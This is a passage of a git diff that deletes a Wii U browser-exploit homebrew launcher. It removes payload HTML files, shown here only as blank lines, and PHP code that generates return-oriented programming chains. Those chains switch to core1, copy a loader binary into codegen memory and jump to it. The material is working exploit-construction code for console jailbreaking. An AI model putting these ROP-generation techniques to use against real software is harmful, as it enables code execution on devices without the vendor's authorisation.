exact moment, WiiU is loading its video player according to "Content-Type: video/mp4" -// When loaded too quickly, the video player can still freeze. So let's leave him 1 second to pop-up -sleep(1); - -//echo $con; - - -do -{ - $sub = substr($con, 0, 1024*16); - $con = substr($con, 1024*16); - - echo $sub; - usleep(1000); - $len = strlen($con); -} -while($len > 0); - - -?> diff --git a/www/homebrew_launcher/payload300.html b/www/homebrew_launcher/payload300.html deleted file mode 100644 index f630ea6..0000000 --- a/www/homebrew_launcher/payload300.html +++ /dev/null @@ -1,580 +0,0 @@ - - - - - - - - diff --git a/www/homebrew_launcher/payload310.html b/www/homebrew_launcher/payload310.html deleted file mode 100644 index c6b45eb..0000000 --- a/www/homebrew_launcher/payload310.html +++ /dev/null @@ -1,580 +0,0 @@ - - - - - - - - diff --git a/www/homebrew_launcher/payload400.html b/www/homebrew_launcher/payload400.html deleted file mode 100644 index 670e21b..0000000 --- a/www/homebrew_launcher/payload400.html +++ /dev/null @@ -1,580 +0,0 @@ - - - - - - - - diff --git a/www/homebrew_launcher/payload410.html b/www/homebrew_launcher/payload410.html deleted file mode 100644 index 68ff450..0000000 --- a/www/homebrew_launcher/payload410.html +++ /dev/null @@ -1,580 +0,0 @@ - - - - - - - - diff --git a/www/homebrew_launcher/payload500.html b/www/homebrew_launcher/payload500.html deleted file mode 100644 index 025f27d..0000000 --- a/www/homebrew_launcher/payload500.html +++ /dev/null @@ -1,580 +0,0 @@ - - - - - - - - diff --git a/www/homebrew_launcher/payload532.html b/www/homebrew_launcher/payload532.html deleted file mode 100644 index d53c933..0000000 --- a/www/homebrew_launcher/payload532.html +++ /dev/null @@ -1,649 +0,0 @@ - \ No newline at end of file diff --git a/www/homebrew_launcher/wiiu_browserhax_common.php b/www/homebrew_launcher/wiiu_browserhax_common.php deleted file mode 100644 index 302cb5d..0000000 --- a/www/homebrew_launcher/wiiu_browserhax_common.php +++ /dev/null @@ -1,440 +0,0 @@ -); - - ropchain_appendu32($r28);//r28 - ropchain_appendu32(0x0);//r29 - ropchain_appendu32(0x0);//r30 - ropchain_appendu32(0x0);//r31 - ropchain_appendu32(0x0); - - ropgen_OSFatal($outstr); -} - -function ropgen_switchto_core1() -{ - global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; - - ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. - - ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(, 0x2); - - ropchain_appendu32($ROP_OSYieldThread);//r28 - ropchain_appendu32(0x0);//r29 - ropchain_appendu32(0x0);//r30 - ropchain_appendu32(0x0);//r31 - ropchain_appendu32(0x0); - - ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); - - ropchain_appendu32(0x0);//r28 - ropchain_appendu32(0x0);//r29 - ropchain_appendu32(0x0);//r30 - ropchain_appendu32(0x0);//r31 - ropchain_appendu32(0x0); -} - -function generateropchain_type1() -{ - global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN; - - $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. - $codegen_addr = 0x01800000; - //$payload_srcaddr must be defined by the code including this .php. - - //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. - - //ropchain_appendu32(0x80808080);//Trigger a crash. - - //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); - - ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. - - ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); - - //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. - - $regs = array(); - $regs[24 - 24] = $ROP_OSFatal;//r24 - $regs[25 - 24] = $ROP_Exit;//r25 - $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 - $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 - $regs[28 - 24] = $ROP_os_snprintf;//r28 - $regs[29 - 24] = $payload_srcaddr;//r29 - $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. - $regs[31 - 24] = $ROPHEAP;//r31 - - ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. - - ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. - - //Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. - ropchain_appendu32(0x0); - ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); - ropgen_pop_r24_to_r31($regs); - ropchain_appendu32($codegen_addr); -} - -?> diff --git a/www/homebrew_launcher/wiiuhaxx_common_cfg.php b/www/homebrew_launcher/wiiuhaxx_common_cfg.php deleted file mode 100644 index 06b7353..0000000 --- a/www/homebrew_launcher/wiiuhaxx_common_cfg.php +++ /dev/null @@ -1,6 +0,0 @@ - \ No newline at end of file diff --git a/www/homebrew_launcher/wiiuhaxx_loader.bin b/www/homebrew_launcher/wiiuhaxx_loader.bin deleted file mode 100644 index ac141af5a8ce9d9c450a8b9ed751bcca2321bf32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 76 zcmeZZU|_AuU|MF;z~E8SA|=wWgn_}Lg@L7h@#_kU0}M diff --git a/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php b/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php deleted file mode 100644 index 30ca5c7..0000000 --- a/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php +++ /dev/null @@ -1,29 +0,0 @@ -